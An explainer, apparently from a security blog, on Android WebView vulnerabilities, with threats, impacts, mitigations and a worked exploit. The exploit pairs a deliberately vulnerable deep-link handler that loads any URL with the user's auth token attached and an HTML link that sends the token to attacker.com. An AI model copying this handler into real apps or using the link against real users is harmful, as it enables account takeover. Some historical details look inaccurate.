What is a WebView
WebView is a simple but powerful way to present web-based content in Android. It is used as a dedicated web browser instance of an application that can deliver web pages to users. WebView was first released as a part of Android 4.4. Since Android 5.0, it is included as a system application.
Applications of WebView:
- Hybrid frameworks such as Cordova or PhoneGap (except Flutter) wrap HTML/Javascript applications into the native Android container and use WebView to make it work.
- Applications, such as banking apps, use WebView to present content like “terms and conditions”, which change constantly.
- Companies with small budgets can build mobile applications that render web content using WebView.
What is the Problem?
Threat
WebView vulnerabilities that allow threat actors to:
-
- Load arbitrary URLs
- Execute JavaScript code
- Execute code remotely
Impact
- The leak of authentication tokens
- Access to JavaScript interfaces
- Attacks on internal handlers
- Theft of arbitrary files via XHR queries
- Access to cookies
- The exploitation of content providers
Mitigation
- Validate the origin (host and scheme) of external links loaded in WebView.
- Ensure that JavaScript called using externally obtained data is sanitized.
How to Exploit
We will use the following AndroidManifest.xml file to understand how threat actors can exploit WebView
<activity android:name=”.DeeplinkActivity”>
<intent-filter> <action android:name=”android.intent.action.VIEW” /> <category android:name=”android.intent.category.DEFAULT” /> <data android:scheme=”myapp” android:host=”deeplink” /> </intent-filter> </activity> |
---|
Let’s assume that this file can process WebView deep links:
public class DeeplinkActivity extends Activity {
protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); handleDeeplink(getIntent()); } private void handleDeeplink(Intent intent) { Uri deeplink = intent.getData(); if (“/webview”.equals(deeplink.getPath())) { String url = deeplink.getQueryParameter(“url”); handleWebViewDeeplink(url); } } private void handleWebViewDeeplink(String url) { WebView webView = …; setupWebView(webView); webView.loadUrl(url, getAuthHeaders()); } private Map<String, String> getAuthHeaders() { Map<String, String> headers = new HashMap<>(); headers.put(“Authorization”, getUserToken()); return headers; } } |
---|
In this case an attacker can carry out a remote attack to obtain the user’s authentication token by creating a page with the following code:
<html>
<body style=”text-align: center;”> <h1><a href=”myapp://deeplink/webview?url=https://attacker.com/“>Click Me!</a></h1> </body></html> |
---|
When the victim clicks on the “click me” button, the vulnerable app will open https://attacker[.]com, in the WebView, along with the authorization header. The attacker can use the stolen authentication tokens to gain full access to the victim’s account.